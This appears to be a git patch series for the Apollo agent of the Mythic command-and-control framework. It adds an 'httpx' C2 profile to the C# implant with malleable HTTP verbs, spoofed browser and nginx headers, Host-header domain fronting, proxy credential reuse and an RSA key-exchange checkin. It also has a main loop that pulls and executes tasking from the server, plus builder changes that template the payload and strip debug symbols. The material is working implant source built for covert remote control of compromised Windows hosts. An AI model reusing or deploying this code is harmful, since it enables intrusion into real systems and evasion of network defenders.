Config.GetVariation("head") ?? Config.GetVariation("options"); + + // Fall back to POST if no small-message methods are configured + if (variation == null || string.IsNullOrEmpty(variation.Verb) || variation.Uris == null || variation.Uris.Count == 0) + { + variation = Config.GetVariation("post"); + } } - // Set timeout - webClient.Timeout = TimeoutSeconds * 1000; - - string sMsg = Serializer.Serialize(message); - byte[] messageBytes = Encoding.UTF8.GetBytes(sMsg); - - // Determine request type based on message size - bool usePost = messageBytes.Length > 500; - var variation = usePost ? Config.Post : Config.Get; + // Final fallback to ensure we have a valid variation + if (variation == null || string.IsNullOrEmpty(variation.Verb) || variation.Uris == null || variation.Uris.Count == 0) + { + throw new InvalidOperationException("No valid HTTP method variation found in configuration. Please ensure your Httpx config defines at least GET or POST methods."); + } // Apply client transforms byte[] transformedData = TransformChain.ApplyClientTransforms(messageBytes, variation.Client.Transforms); @@ -221,20 +385,10 @@ public bool SendRecv(T message, OnResponse onResponse) string uri = variation.Uris[Random.Next(variation.Uris.Count)]; string url = domain + uri; - // Build headers - foreach (var header in variation.Client.Headers) - { - webClient.Headers.Add(header.Key, header.Value); - } + // Handle message placement and build final URL with query parameters if needed + byte[] requestBodyBytes = null; + string contentType = null; - // Add domain fronting if specified - if (!string.IsNullOrEmpty(DomainFront)) - { - webClient.Headers.Add("Host", DomainFront); - } - - // Handle message placement - string response = ""; switch (variation.Client.Message.Location.ToLower()) { case "query": @@ -250,29 +404,169 @@ public bool SendRecv(T message, OnResponse onResponse) } } // Add message parameter + // NOTE: transformedData is already URL-safe (base64url/netbios/netbiosu) + // Do NOT apply Uri.EscapeDataString to avoid double-encoding if (!string.IsNullOrEmpty(queryParam)) queryParam += "&"; - queryParam += $"{variation.Client.Message.Name}={Uri.EscapeDataString(Encoding.UTF8.GetString(transformedData))}"; - url += "?" + queryParam; - response = webClient.DownloadString(url); + queryParam += $"{variation.Client.Message.Name}={Encoding.UTF8.GetString(transformedData)}"; + url = url.Split('?')[0] + "?" + queryParam; break; case "cookie": - webClient.Headers.Add("Cookie", $"{variation.Client.Message.Name}={Uri.EscapeDataString(Encoding.UTF8.GetString(transformedData))}"); - response = webClient.DownloadString(url); + case "header": + case "body": + default: + requestBodyBytes = variation.Client.Message.Location.ToLower() == "body" ? transformedData : null; break; + } - case "header": - webClient.Headers.Add(variation.Client.Message.Name, Encoding.UTF8.GetString(transformedData)); - response = webClient.DownloadString(url); + // Create HttpWebRequest for full control over headers + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.Method = variation.Verb; + request.Timeout = TimeoutSeconds * 1000; + request.ReadWriteTimeout = TimeoutSeconds * 1000; + + // Configure proxy if needed + if (!string.IsNullOrEmpty(ProxyHost) && ProxyPort > 0) + { + request.Proxy = new WebProxy($"{ProxyHost}:{ProxyPort}"); + + if (!string.IsNullOrEmpty(ProxyUser) && !string.IsNullOrEmpty(ProxyPass)) + { + request.Proxy.Credentials = new NetworkCredential(ProxyUser, ProxyPass); + } + } + else + { + request.Proxy = WebRequest.GetSystemWebProxy(); + request.Proxy.Credentials = CredentialCache.DefaultCredentials; + } + + // Add all headers (including restricted ones) + foreach (var header in variation.Client.Headers) + { + + bool headerSet = false; + + // Try setting via properties first (for restricted headers) + switch (header.Key.ToLower()) + { + case "accept": + request.Accept = header.Value; + headerSet = true; + break; + case "connection": + // Set KeepAlive property based on Connection header + if (header.Value.ToLower().Contains("keep-alive") || header.Value.ToLower() == "keepalive") + { + request.KeepAlive = true; + headerSet = true; + } + else if (header.Value.ToLower() == "close") + { + request.KeepAlive = false; + headerSet = true; + } + // Note: We can't add Connection header directly in .NET HttpWebRequest + // But setting KeepAlive = true should achieve the same effect + break; + case "content-type": + request.ContentType = header.Value; + headerSet = true; + break; + case "content-length": + // Set via ContentLength property when writing body + headerSet = true; + break; + case "expect": + // HttpWebRequest doesn't support setting Expect header directly + // Skip it or log a warning + headerSet = true; // Mark as handled so we don't try to add it + break; + case "host": + request.Host = header.Value; + headerSet = true; + break; + case "if-modified-since": + if (DateTime.TryParse(header.Value, out DateTime modifiedDate)) + { + request.IfModifiedSince = modifiedDate; + headerSet = true; + } + break; + case "range": + // Range header is complex, skip for now + headerSet = true; + break; + case "referer": + request.Referer = header.Value; + headerSet = true; + break; + case "transfer-encoding": + // Transfer-Encoding is not directly settable in HttpWebRequest + headerSet = true; + break; + case "user-agent": + request.UserAgent = header.Value; + headerSet = true; + break; + } + + // If header wasn't set via property, try adding it to Headers collection + if (!headerSet) + { + try + { + request.Headers[header.Key] = header.Value; + headerSet = true; + } + catch (Exception ex) + { +#if DEBUG + DebugWriteLine($"[SendRecv] WARNING: Could not set header '{header.Key}': {ex.Message}"); +#endif + } + } + } + + // Handle cookie and header placement (must be after request is created) + switch (variation.Client.Message.Location.ToLower()) + { + case "cookie": + request.Headers[HttpRequestHeader.Cookie] = $"{variation.Client.Message.Name}={Uri.EscapeDataString(Encoding.UTF8.GetString(transformedData))}"; break; - case "body": - default: - response = webClient.UploadString(url, Encoding.UTF8.GetString(transformedData)); + case "header": + request.Headers[variation.Client.Message.Name] = Encoding.UTF8.GetString(transformedData); break; } + // Write request body for POST/PUT + if (requestBodyBytes != null && requestBodyBytes.Length > 0) + { +#if DEBUG + DebugWriteLine($"[SendRecv] Writing request body ({requestBodyBytes.Length} bytes)"); +#endif + request.ContentLength = requestBodyBytes.Length; + using (var requestStream = request.GetRequestStream()) + { + requestStream.Write(requestBodyBytes, 0, requestBodyBytes.Length); + } + } + + // Get response + string response; + using (HttpWebResponse httpResponse = (HttpWebResponse)request.GetResponse()) + { + using (Stream responseStream = httpResponse.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(responseStream)) + { + response = reader.ReadToEnd(); + } + } + } + HandleDomainSuccess(); // Extract response data based on server configuration @@ -282,12 +576,50 @@ public bool SendRecv(T message, OnResponse onResponse) byte[] untransformedData = TransformChain.ApplyServerTransforms(responseBytes, variation.Server.Transforms); string responseString = Encoding.UTF8.GetString(untransformedData); + +#if DEBUG + try + { + var result = Serializer.Deserialize(responseString); + onResponse(result); + } + catch (Exception deserEx) + { + DebugWriteLine($"[SendRecv] Deserialization failed: {deserEx.GetType().Name}: {deserEx.Message}"); + throw; + } +#else onResponse(Serializer.Deserialize(responseString)); +#endif return true; } catch (Exception ex) { +#if DEBUG + DebugWriteLine($"[SendRecv] ERROR: {ex.GetType().Name}: {ex.Message}"); + DebugWriteLine($"[SendRecv] Stack: {ex.StackTrace}"); + + // Log inner exception details if present + if (ex.InnerException != null) + { + DebugWriteLine($"[SendRecv] INNER EXCEPTION: {ex.InnerException.GetType().Name}: {ex.InnerException.Message}"); + DebugWriteLine($"[SendRecv] INNER STACK: {ex.InnerException.StackTrace}"); + } + + // Log WebException details + if (ex is WebException webEx) + { + DebugWriteLine($"[SendRecv] WebException Status: {webEx.Status}"); + DebugWriteLine($"[SendRecv] WebException Response: {webEx.Response}"); + + if (webEx.Response is HttpWebResponse httpResponse) + { + DebugWriteLine($"[SendRecv] HTTP Status Code: {httpResponse.StatusCode}"); + DebugWriteLine($"[SendRecv] HTTP Status Description: {httpResponse.StatusDescription}"); + } + } +#endif HandleDomainFailure(); return false; } @@ -312,18 +644,69 @@ public bool IsConnected() public bool Connect(CheckinMessage checkinMsg, OnResponse onResp) { + // Httpx profile uses EKE (Encrypted Key Exchange) as per Mythic documentation + // https://docs.mythic-c2.net/customizing/payload-type-development/create_tasking/agent-side-coding/initial-checkin + if (EncryptedExchangeCheck && !_uuidNegotiated) { - // Perform encrypted key exchange - rsa = new RSAKeyGenerator(); - string publicKey = rsa.GetPublicKey(); +#if DEBUG + DebugWriteLine("[Connect] EKE: Starting RSA handshake (4096-bit)"); +#endif - // Send public key to server and get encrypted response - // This is a simplified implementation - _uuidNegotiated = true; + // Generate RSA keypair - 4096 bit as per Mythic spec + rsa = Agent.GetApi().NewRSAKeyPair(4096); + + // Create EKE handshake message with RSA public key + EKEHandshakeMessage handshake1 = new EKEHandshakeMessage() + { + Action = "staging_rsa", + PublicKey = rsa.ExportPublicKey(), + SessionID = rsa.SessionId + }; + + // Send handshake with current serializer (uses payloadUUID + embedded AES key) + if (!SendRecv(handshake1, delegate(EKEHandshakeResponse respHandshake) + { + // Decrypt the session key using our RSA private key + byte[] tmpKey = rsa.RSA.Decrypt(Convert.FromBase64String(respHandshake.SessionKey), true); + + // Update serializer with new session key and tempUUID + ((ICryptographySerializer)Serializer).UpdateKey(Convert.ToBase64String(tmpKey)); + ((ICryptographySerializer)Serializer).UpdateUUID(respHandshake.UUID); + Agent.SetUUID(respHandshake.UUID); + +#if DEBUG + DebugWriteLine($"[Connect] EKE: Handshake complete, tempUUID: {respHandshake.UUID}, session key received"); +#endif + return true; + })) + { +#if DEBUG + DebugWriteLine("[Connect] EKE: Handshake failed"); +#endif + return false; + } + + // DON'T set _uuidNegotiated = true here! + // We need to wait for the checkin response to get the final callbackUUID } - return SendRecv(checkinMsg, onResp); + // Send checkin message (after EKE handshake if applicable) + return SendRecv(checkinMsg, delegate (MessageResponse mResp) + { + Connected = true; + + // Always update to the final callbackUUID from checkin response + // This happens whether we did EKE (tempUUID → callbackUUID) or not (payloadUUID → callbackUUID) + ((ICryptographySerializer)Serializer).UpdateUUID(mResp.ID); + Agent.SetUUID(mResp.ID); + _uuidNegotiated = true; + +#if DEBUG + DebugWriteLine($"[Connect] Checkin complete, callbackUUID: {mResp.ID}"); +#endif + return onResp(mResp); + }); } public int GetSleepTime() @@ -364,25 +747,64 @@ public void SetConnected(bool connected) // IC2Profile interface implementations public void Start() { +#if DEBUG + DebugWriteLine("[Start] HttpxProfile.Start() called - beginning main loop"); +#endif + + // Set the agent's sleep interval and jitter from profile settings + Agent.SetSleep(CallbackInterval, CallbackJitter); + bool first = true; while(Agent.IsAlive()) { - bool bRet = GetTasking(resp => Agent.GetTaskManager().ProcessMessageResponse(resp)); +#if DEBUG + if (first) + { + DebugWriteLine("[Start] First iteration - attempting initial checkin"); + first = false; + } + DebugWriteLine("[Start] Beginning GetTasking call"); +#endif + + bool bRet = GetTasking(resp => + { +#if DEBUG + DebugWriteLine($"[Start] GetTasking callback received response"); + DebugWriteLine($"[Start] Processing message response via TaskManager"); +#endif + return Agent.GetTaskManager().ProcessMessageResponse(resp); + }); + +#if DEBUG + DebugWriteLine($"[Start] GetTasking returned: {bRet}"); +#endif if (!bRet) { +#if DEBUG + DebugWriteLine("[Start] GetTasking returned false, breaking loop"); +#endif break; } +#if DEBUG + DebugWriteLine("[Start] Calling Agent.Sleep()"); +#endif Agent.Sleep(); } + +#if DEBUG + DebugWriteLine("[Start] Main loop ended"); +#endif } + // NOTE: GetTasking sends a TaskingMessage to Mythic and processes the response via ProcessMessageResponse. + private bool GetTasking(OnResponse onResp) => Agent.GetTaskManager().CreateTaskingMessage(msg => SendRecv(msg, onResp)); public bool IsOneWay() => false; - public bool Send(T message) => throw new Exception("HttpxProfile does not support Send only."); + public bool Send(IMythicMessage message) => throw new Exception("HttpxProfile does not support Send only."); public bool Recv(MessageType mt, OnResponse onResp) => throw new NotImplementedException("HttpxProfile does not support Recv only."); } diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/default_config.json b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/default_config.json deleted file mode 100644 index 4b0c6e1b..00000000 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/default_config.json +++ /dev/null @@ -1,93 +0,0 @@ -{ - "name": "Apollo Default", - "get": { - "verb": "GET", - "uris": [ - "/api/v1/status", - "/health", - "/ping" - ], - "client": { - "headers": { - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Accept-Encoding": "gzip, deflate", - "Connection": "Keep-Alive", - "Cache-Control": "no-cache", - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" - }, - "parameters": { - "version": "1.0", - "format": "json" - }, - "message": { - "location": "query", - "name": "data" - }, - "transforms": [ - { - "action": "base64", - "value": "" - } - ] - }, - "server": { - "headers": { - "Content-Type": "application/json", - "Server": "nginx/1.18.0", - "Connection": "keep-alive", - "Cache-Control": "no-cache" - }, - "transforms": [ - { - "action": "base64", - "value": "" - } - ] - } - }, - "post": { - "verb": "POST", - "uris": [ - "/api/v1/data", - "/submit", - "/upload" - ], - "client": { - "headers": { - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Accept-Encoding": "gzip, deflate", - "Connection": "Keep-Alive", - "Content-Type": "application/x-www-form-urlencoded", - "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" - }, - "parameters": { - "version": "1.0", - "format": "json" - }, - "message": { - "location": "body", - "name": "" - }, - "transforms": [ - { - "action": "base64", - "value": "" - } - ] - }, - "server": { - "headers": { - "Content-Type": "application/json", - "Server": "nginx/1.18.0", - "Connection": "keep-alive", - "Cache-Control": "no-cache" - }, - "transforms": [ - { - "action": "base64", - "value": "" - } - ] - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs index 7012544d..78913521 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxTransform/HttpxConfig.cs @@ -102,10 +102,51 @@ public class HttpxConfig [JsonProperty("post")] public VariationConfig Post { get; set; } + [JsonProperty("put")] + public VariationConfig Put { get; set; } + + [JsonProperty("delete")] + public VariationConfig Delete { get; set; } + + [JsonProperty("patch")] + public VariationConfig Patch { get; set; } + + [JsonProperty("options")] + public VariationConfig Options { get; set; } + + [JsonProperty("head")] + public VariationConfig Head { get; set; } + public HttpxConfig() { Get = new VariationConfig(); Post = new VariationConfig(); + Put = new VariationConfig(); + Delete = new VariationConfig(); + Patch = new VariationConfig(); + Options = new VariationConfig(); + Head = new VariationConfig(); + } + + /// + /// Get variation configuration by HTTP method name (case-insensitive) + /// + public VariationConfig GetVariation(string method) + { + if (string.IsNullOrEmpty(method)) + return null; + + switch (method.ToLower()) + { + case "get": return Get; + case "post": return Post; + case "put": return Put; + case "delete": return Delete; + case "patch": return Patch; + case "options": return Options; + case "head": return Head; + default: return null; + } } /// diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 447881f3..b1c3117b 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -262,8 +262,69 @@ async def build(self) -> BuildResponse: for c2 in self.c2info: profile = c2.get_c2profile() defines_profiles_upper.append(f"#define {profile['name'].upper()}") + + # Initialize all parameters with empty strings as defaults to ensure placeholders are replaced + if profile['name'] == 'httpx': + default_httpx_params = ['callback_interval', 'callback_jitter', 'callback_domains', + 'domain_rotation', 'failover_threshold', 'encrypted_exchange_check', + 'killdate', 'raw_c2_config', 'proxy_host', 'proxy_port', + 'proxy_user', 'proxy_pass', 'domain_front', 'timeout'] + for param in default_httpx_params: + prefixed_key = f"{profile['name'].lower()}_{param}" + if prefixed_key not in special_files_map.get("Config.cs", {}): + special_files_map.setdefault("Config.cs", {})[prefixed_key] = "" + for key, val in c2.get_parameters_dict().items(): prefixed_key = f"{profile['name'].lower()}_{key}" + + # Debug: print the parameter being processed + stdout_err += f"\nProcessing {profile['name']} parameter: {key} -> {prefixed_key}\n" + + # Check for raw_c2_config file parameter FIRST before other type checks + if key == "raw_c2_config" and profile['name'] == "httpx": + # Handle httpx raw_c2_config file parameter - REQUIRED for httpx profile + if not val or val == "": + resp.set_status(BuildStatus.Error) + resp.build_stderr = "raw_c2_config is REQUIRED for httpx profile. Please upload a JSON or TOML configuration file." + return resp + + try: + # Read configuration file contents + response = await SendMythicRPCFileGetContent(MythicRPCFileGetContentMessage(val)) + + if not response.Success: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Error reading raw_c2_config file: {response.Error}" + return resp + + raw_config_file_data = response.Content.decode('utf-8') + + # Try parsing the content as JSON first + try: + config_data = json.loads(raw_config_file_data) + except json.JSONDecodeError: + # If JSON fails, try parsing as TOML + try: + config_data = toml.loads(raw_config_file_data) + except Exception as toml_err: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Failed to parse raw_c2_config as JSON or TOML: {toml_err}" + return resp + + # Store the parsed config for Apollo to use + # Base64 encode to avoid C# string escaping issues + import base64 + encoded_config = base64.b64encode(raw_config_file_data.encode('utf-8')).decode('ascii') + stdout_err += f" Reading raw_c2_config file (original length: {len(raw_config_file_data)}, encoded length: {len(encoded_config)})\n" + stdout_err += f" First 100 chars of encoded: {encoded_config[:100]}...\n" + special_files_map["Config.cs"][prefixed_key] = encoded_config + + except Exception as err: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Error processing raw_c2_config: {str(err)}" + return resp + + continue # Skip to next parameter if isinstance(val, dict) and 'enc_key' in val: if val["value"] == "none": @@ -275,8 +336,35 @@ async def build(self) -> BuildResponse: # TODO: Prefix the AESPSK variable and also make it specific to each profile special_files_map["Config.cs"][key] = val["enc_key"] if val["enc_key"] is not None else "" - elif isinstance(val, str): - special_files_map["Config.cs"][prefixed_key] = val.replace("\\", "\\\\") + elif isinstance(val, list): + # Handle list values (like callback_domains as an array) + val = ', '.join(str(item) for item in val) + stdout_err += f" Parsing list for '{prefixed_key}', converted to comma-separated: {val[:100]}...\n" + + # Now process as string if it's a string + if isinstance(val, str): + # Check if the value looks like a JSON array string (e.g., '["domain1", "domain2"]') + if val.strip().startswith('[') and val.strip().endswith(']'): + try: + # Parse the JSON array and join with commas for Apollo + json_val = json.loads(val) + if isinstance(json_val, list): + # Join list items with commas + val = ', '.join(json_val) + stdout_err += f" Parsing JSON array for '{prefixed_key}', converted to comma-separated: {val[:100]}...\n" + except: + # If parsing fails, use as-is + pass + + escaped_val = val.replace("\\", "\\\\") + # Check for newlines in the string that would break C# syntax + if '\n' in escaped_val or '\r' in escaped_val: + stdout_err += f" WARNING: String '{prefixed_key}' contains newlines! This will break C# syntax.\n" + stdout_err += f" Contains {escaped_val.count(chr(10))} newlines and {escaped_val.count(chr(13))} carriage returns\n" + # Replace newlines with escaped versions for C# strings + escaped_val = escaped_val.replace('\n', '\\n').replace('\r', '\\r') + special_files_map["Config.cs"][prefixed_key] = escaped_val + stdout_err += f" Storing string value for '{prefixed_key}' (length {len(escaped_val)}): {escaped_val[:100]}...\n" elif isinstance(val, bool): if key == "encrypted_exchange_check" and not val: resp.set_status(BuildStatus.Error) @@ -285,43 +373,6 @@ async def build(self) -> BuildResponse: special_files_map["Config.cs"][prefixed_key] = "true" if val else "false" elif isinstance(val, dict): extra_variables = {**extra_variables, **val} - elif key == "raw_c2_config" and profile['name'] == "httpx": - # Handle httpx raw_c2_config file parameter like Xenon does - # Apollo will process it internally AND pass it through to C2 profile - if val and val != "": - try: - # Read configuration file contents - response = await SendMythicRPCFileGetContent(MythicRPCFileGetContentMessage(val)) - - if not response.Success: - resp.set_status(BuildStatus.Error) - resp.build_stderr = f"Error reading raw_c2_config file: {response.Error}" - return resp - - raw_config_file_data = response.Content.decode('utf-8') - - # Try parsing the content as JSON first - try: - config_data = json.loads(raw_config_file_data) - except json.JSONDecodeError: - # If JSON fails, try parsing as TOML - try: - config_data = toml.loads(raw_config_file_data) - except Exception as toml_err: - resp.set_status(BuildStatus.Error) - resp.build_stderr = f"Failed to parse raw_c2_config as JSON or TOML: {toml_err}" - return resp - - # Store the parsed config for Apollo to use - special_files_map["Config.cs"][prefixed_key] = raw_config_file_data - - except Exception as err: - resp.set_status(BuildStatus.Error) - resp.build_stderr = f"Error processing raw_c2_config: {str(err)}" - return resp - else: - # Use default config (empty string - Apollo will use embedded default) - special_files_map["Config.cs"][prefixed_key] = "" else: special_files_map["Config.cs"][prefixed_key] = json.dumps(val) @@ -338,8 +389,27 @@ async def build(self) -> BuildResponse: for specialFile in special_files_map.keys(): if csFile.endswith(specialFile): for key, val in special_files_map[specialFile].items(): - templateFile = templateFile.replace(key + "_here", val) + placeholder = key + "_here" + if placeholder in templateFile: + stdout_err += f" Replacing '{placeholder}' with value (length {len(val)})\n" + # For very long strings (like Base64 encoded configs), show first/last chars + if len(val) > 100: + stdout_err += f" Value preview: {val[:50]}...{val[-50:]}\n" + templateFile = templateFile.replace(placeholder, val) + # After replacement, check for syntax issues around the replacement + if csFile.endswith("Config.cs") and len(val) > 500: + # Check lines around the replacement to detect issues + lines = templateFile.split('\n') + for i, line in enumerate(lines): + if 'raw_c2_config' in line: + stdout_err += f" Line {i+1}: {line[:200]}...\n" if specialFile == "Config.cs": + # Debug: Save the Config.cs after all replacements to help debug syntax errors + if "Config.cs" in specialFile: + # Write debug copy of Config.cs to stderr + debug_lines = templateFile.split('\n') + for i in range(max(0, 170), min(len(debug_lines), 180)): + stdout_err += f"DEBUG Config.cs line {i+1}: {debug_lines[i]}\n" if len(extra_variables.keys()) > 0: extra_data = "" for key, val in extra_variables.items(): From 79b9cec3ad984a2b2c6dd1dcfcfb60853bfefe5b Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Sun, 26 Oct 2025 16:52:19 +0100 Subject: [PATCH 22/37] Make sure debug mode actually gets turned off --- Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs | 2 +- Payload_Type/apollo/apollo/mythic/agent_functions/builder.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs index 1bc34a33..36f85db1 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs @@ -216,7 +216,7 @@ public static class Config public static string PayloadUUID = "7f2a0f77-51ca-4afc-a7a9-5ea9717e73c3"; #endif #else - // TODO: Make the AES key a config option specific to each profile + public static string StagingRSAPrivateKey = "AESPSK_here"; public static string PayloadUUID = "payload_uuid_here"; #endif diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index b1c3117b..6d548783 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -440,7 +440,7 @@ async def build(self) -> BuildResponse: if self.get_parameter('debug'): command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/ --verbosity quiet" else: - command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/ --verbosity quiet" + command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:DefineConstants=\"\" -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/ --verbosity quiet" await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, StepName="Gathering Files", @@ -596,7 +596,7 @@ async def build(self) -> BuildResponse: if self.get_parameter('debug'): command = f"dotnet build -c {compileType} -p:OutputType=WinExe -p:Platform=\"Any CPU\"" else: - command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:OutputType=WinExe -p:Platform=\"Any CPU\"" + command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:DefineConstants=\"\" -p:OutputType=WinExe -p:Platform=\"Any CPU\"" proc = await asyncio.create_subprocess_shell( command, stdout=asyncio.subprocess.PIPE, From 42670f037972fbb4e839c9bfe22ffd29d2a3f560 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Sun, 26 Oct 2025 17:25:56 +0100 Subject: [PATCH 23/37] Removed refference to default profile --- .../apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj | 4 ---- 1 file changed, 4 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj index efe29509..0467d01e 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.csproj @@ -14,8 +14,4 @@ - - - - From 3e4c1d25ae8ae9b95dbb946e931e146e7985d7e4 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Sun, 26 Oct 2025 17:38:01 +0100 Subject: [PATCH 24/37] Added logic to only compile the profiles that are in use --- .../Apollo/Management/C2/C2ProfileManager.cs | 11 +- .../Apollo/Management/Files/FileManager.cs | 1 - .../agent_code/HttpxProfile/HttpxProfile.cs | 4 +- .../apollo/mythic/agent_functions/builder.py | 103 ++++++++++++++++++ 4 files changed, 111 insertions(+), 8 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs index fee587bc..081d4a73 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/C2/C2ProfileManager.cs @@ -1,5 +1,7 @@ using ApolloInterop.Interfaces; +#if HTTP using HttpTransport; +#endif #if HTTPX using HttpxTransport; #endif @@ -17,20 +19,19 @@ public C2ProfileManager(IAgent agent) : base(agent) public override IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary parameters) { +#if HTTP if (c2 == typeof(HttpProfile)) { return new HttpProfile(parameters, serializer, Agent); } +#endif #if HTTPX - else if (c2 == typeof(HttpxProfile)) + if (c2 == typeof(HttpxProfile)) { return new HttpxProfile(parameters, serializer, Agent); } #endif - else - { - throw new ArgumentException($"Unsupported C2 Profile type: {c2.Name}"); - } + throw new ArgumentException($"Unsupported C2 Profile type: {c2.Name}"); } } } diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Files/FileManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Files/FileManager.cs index 6c13e4ef..366571ac 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Files/FileManager.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Files/FileManager.cs @@ -8,7 +8,6 @@ using System.Linq; using System.Threading; using ApolloInterop.Classes.Cryptography; -using Newtonsoft.Json.Serialization; namespace Apollo.Management.Files { diff --git a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs index 56cc94ca..cfe23250 100644 --- a/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs +++ b/Payload_Type/apollo/apollo/agent_code/HttpxProfile/HttpxProfile.cs @@ -273,9 +273,9 @@ private void LoadHttpxConfig(string configData) else { #if DEBUG - DebugWriteLine("[LoadHttpxConfig] No config data provided and no embedded resource - agent cannot function without C2 config"); + DebugWriteLine("[LoadHttpxConfig] No config data provided - agent cannot function without C2 config"); #endif - throw new InvalidOperationException("Httpx C2 profile requires configuration data. Either provide raw_c2_config parameter or ensure default_config.json is embedded."); + throw new InvalidOperationException("Httpx C2 profile requires configuration data. Please provide the raw_c2_config parameter with a valid configuration."); } #if DEBUG diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 6d548783..d6cae3ac 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -381,6 +381,25 @@ async def build(self) -> BuildResponse: agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) # shutil to copy payload files over copy_tree(str(self.agent_code_path), agent_build_path.name) + + # Get selected profiles from c2info + selected_profiles = [c2.get_c2profile()['name'] for c2 in self.c2info] + + # Filter Apollo.csproj to include only selected profile projects + csproj_path = os.path.join(agent_build_path.name, "Apollo", "Apollo.csproj") + if os.path.exists(csproj_path): + try: + filter_csproj_profile_references(csproj_path, selected_profiles) + stdout_err += f"\nFiltered Apollo.csproj to include only selected profiles: {', '.join(selected_profiles)}\n" + + # Also filter Config.cs to remove #define statements for unselected profiles + config_path = os.path.join(agent_build_path.name, "Apollo", "Config.cs") + if os.path.exists(config_path): + filter_config_defines(config_path, selected_profiles) + stdout_err += f"\nFiltered Config.cs to remove unselected profile defines\n" + except Exception as e: + stdout_err += f"\nWarning: Failed to filter csproj references: {e}. Building with all profiles.\n" + # first replace everything in the c2 profiles for csFile in get_csharp_files(agent_build_path.name): templateFile = open(csFile, "rb").read().decode() @@ -727,6 +746,90 @@ def get_csharp_files(base_path: str) -> list[str]: return results +def filter_config_defines(config_path: str, selected_profiles: list[str]) -> None: + """ + Modify Config.cs to comment out #define statements for unselected profiles. + This prevents compilation errors when profile assemblies aren't included. + """ + profile_defines = { + 'http': '#define HTTP', + 'httpx': '#define HTTPX', + 'smb': '#define SMB', + 'tcp': '#define TCP', + 'websocket': '#define WEBSOCKET' + } + + # Read lines + with open(config_path, 'r', encoding='utf-8') as f: + lines = f.readlines() + + # Filter lines: comment out unselected profile defines + filtered_lines = [] + for line in lines: + modified = False + for profile_name, define_line in profile_defines.items(): + if define_line in line and profile_name not in selected_profiles: + # Comment out this define + filtered_lines.append('//' + line.lstrip()) + modified = True + break + + if not modified: + filtered_lines.append(line) + + # Write back + 